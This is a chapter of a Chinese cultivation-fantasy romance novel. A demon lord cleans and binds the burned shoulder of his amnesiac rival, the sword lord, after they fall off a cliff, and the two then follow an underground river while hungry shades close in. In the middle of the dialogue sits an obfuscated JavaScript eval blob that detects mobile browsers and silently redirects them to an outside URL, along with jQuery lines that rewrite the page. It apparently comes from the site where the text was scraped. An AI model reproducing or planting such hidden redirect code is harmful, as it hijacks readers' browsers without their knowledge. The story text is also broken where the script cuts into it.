27.好看

作品:《死对头失忆后变成娇妻了

    谢鸣玉缓缓睁开眼。


    薄雾涌动,两侧石壁拔高,遮住了顶上天光。


    暗河潺潺流淌,带来一点水气。


    他一手支撑着地,摸到了湿润圆滑的鹅卵石。稍稍用力坐起,目之所及,是一片昏暗的光景。


    “嗯……”


    低低的呻、吟。


    昏迷前的画面涌入脑海。


    魔修在山洞中留有后手,一但身死,就会触动机关将整个山洞都炸毁。


    这是打得以命博命的想法。不留一点活路。


    谢鸣玉闭了闭眼。


    爆炸时散发出的余晖似乎还映照在眼底,他身上却没有受一点伤。


    在机关触动的那一刻,周定衡毫不犹豫地将他护住。


    只是情况紧急,两人来不及往上,只得一头栽进悬崖下。


    谢鸣玉转头看了一圈,在不远处瞧见了一道身影。


    走过去一看,周定衡还在昏迷中。


    他侧躺在地上,白衣被火蛇舔舐过,留下了斑驳的痕迹。他身处在爆炸的中心,不可避免的受了伤,看起来肩膀被烧得焦黑。


    谢鸣玉弯下腰,戳了戳他的脸颊。


    哦,还活着。


    小声嘀咕:“可惜了。”


    话虽这么说,心里还是松了一口气。


    要是剑尊真的在这里出了事,修真界可就要大乱一场了。


    身为魔尊,谢鸣玉的立场坚定,不是他不想打,而是……他打不过啊。


    中州幅员辽阔,灵脉众多,光靠几个魔修能顶什么用?


    最多就是给正道添点麻烦,真打起来也是得不偿失。还是得按照他的思路,发展矿脉经济,广开商路,积攒底蕴。


    这条路稳但慢。


    其实谢鸣玉也知道,西魔州有很多魔修不服他,觉得太磨磨唧唧。


    不过他也不需要他们服,只要敢跳出来,他就敢杀给他们看。


    真当他这个魔尊的脾气很好?


    不管怎么样,还是不能让周定衡出事。


    他叹了一口气,任劳任怨的处理伤口。


    周定衡的伤在背上,有些无处下手。


    谢鸣玉思索片刻,干脆先扒下他的衣服。刚扯开衣襟,就见人悠悠醒来。


    一双眸子如星,定定地看着他。


    谢鸣玉:“……我没想占你便宜。”


    周定衡:“嗯。”


    谢鸣玉再度解释:“我只是想看看你的伤。”


    周定衡的回应依旧简洁:“好。”


    要是周定衡严声制止反抗,谢鸣玉说不定还要趁机摸上两把。


    可现在大大方方,他倒是不太好意思,埋头认真处理伤口。


    撕开衣服,肩膀上一片焦黑。皮肉翻涌出来,深可见骨。


    这伤看着就吓人。更别说还有魔气在其中肆虐,与灵力接触发出嘶嘶声响,令人听着就牙疼。


    周定衡还像是个没事人一样,除了面色苍白了些,连一声痛都没喊。


    死装。


    谢鸣玉心头嘀咕,撕下袖口一块布,在暗河中浸湿,擦拭着伤口上的污脏。


    不消片刻,手上的布就满是污血。


    谢鸣玉没伺候过人,下起手来也是没轻没重的。


    周定衡的眉头越来越紧。


    又是被炸伤又是跌落悬崖都跟铁人似的,现在倒是忍不住发出一声闷哼。


    谢鸣玉停下了动作,狐疑:“疼?”


    周定衡的喉结上下一滚:“……还好。”


    还在嘴硬。


    谢鸣玉:“疼就说。”


    周定衡的肩膀猛地绷紧,嗓音沙哑:“……不疼。”


    谢鸣玉:“那你放松点。”


    周定衡的肩膀慢慢放松下来。


    伤口很快清理好了,只是上面的魔气依旧在侵蚀着,非得刮骨疗伤不可。


    谢鸣玉没找到合适的工具:“你的剑给我用下。”


    周定衡松手,一柄平平无奇的长剑落在地上。


    这是他的剑。


    剑鞘被麻布缠绕,藏锋于匣中,朴实无华。


    对于剑修来说,剑如同半身,等闲不会落入他人之手。


    谢鸣玉握住剑柄,随着剑出鞘,一声铮鸣环绕在山崖之下。


    “好剑。”他比划了一下。


    倒是没去想,为何这桀骜不驯的剑在他的手中却如驱臂使。


    借来一缕剑气,削去伤口上的腐肉,再用干净的布条紧紧缠绕上肩膀。


    周定衡闭目不语。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773515|173366||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好了。”谢鸣玉顺手在胸口系了一个漂亮的花结。认真品鉴了一番,问,“好看吗?”


    汗水顺着喉结流下,胸前的薄肌分明有力,又因常年不见天日,显得分外白皙柔软。


    打好的花结就横在上面,随着呼吸的频率一颤一颤的。


    周定衡:“……”


    这让他如何回答?


    犹豫半晌,给出一个,“尚可。”


    谢鸣玉不满:“怎么只有尚可,不行,我重新打个更漂亮的……”


    周定衡不想再折腾,合衣坐起:“够了。”


    谢鸣玉意犹未尽:“我还会别的花结打法。”


    周定衡:“下次。”


    谢鸣玉:“还有下次?”


    周定衡一怔。


    哪里来得下次。


    一道谢鸣玉恢复记忆,两人便是陌路人。再也不会像现在这般,将腹背都交于对方。


    淡淡的愁思浮现。


    周定衡将其生硬的按下,专心去寻出路。


    伸手搭上石壁。


    悬崖峭壁光滑如也,层层水汽凝结,别说爬上去了,就连鸟儿都要在上面打滑。


    再兼之上方雾气层层,隔绝了灵气,连御剑而行都做不到。


    原路返回是没戏了。


    谢鸣玉半蹲在暗流边,手指没入冰凉的河水:“顺着河流可以出去。”


    只不过出口通向何方不得而知。


    不过也有好消息,方才那一阵地动山摇,山谷中布着的阵法肯定被毁坏了,天剑宗众人足以脱身,不必过于担心。


    周定衡也想到了这一茬,没做过多纠结,颔首同意。


    两人顺着暗河一路走去。


    夜色寂静,两人各怀心事,没有人说话,只有河水静静流淌。


    悬崖底下了无人烟,近乎绝境。


    暗中阴影游走,一双双猩红的眼睛虎视眈眈,满是对血肉的渴望。


    它们碍于周定衡手中的剑,一时不敢上前,只是尾随其后。


    越来越多的幽魂被吸引,密密麻麻,在身后形成了一个臃肿庞大的生物。


    终于,它们忍不住露出了獠牙。


    在周定衡与谢鸣玉之间犹豫了片刻,最后还是决定柿子要挑软的捏,扑向了后者。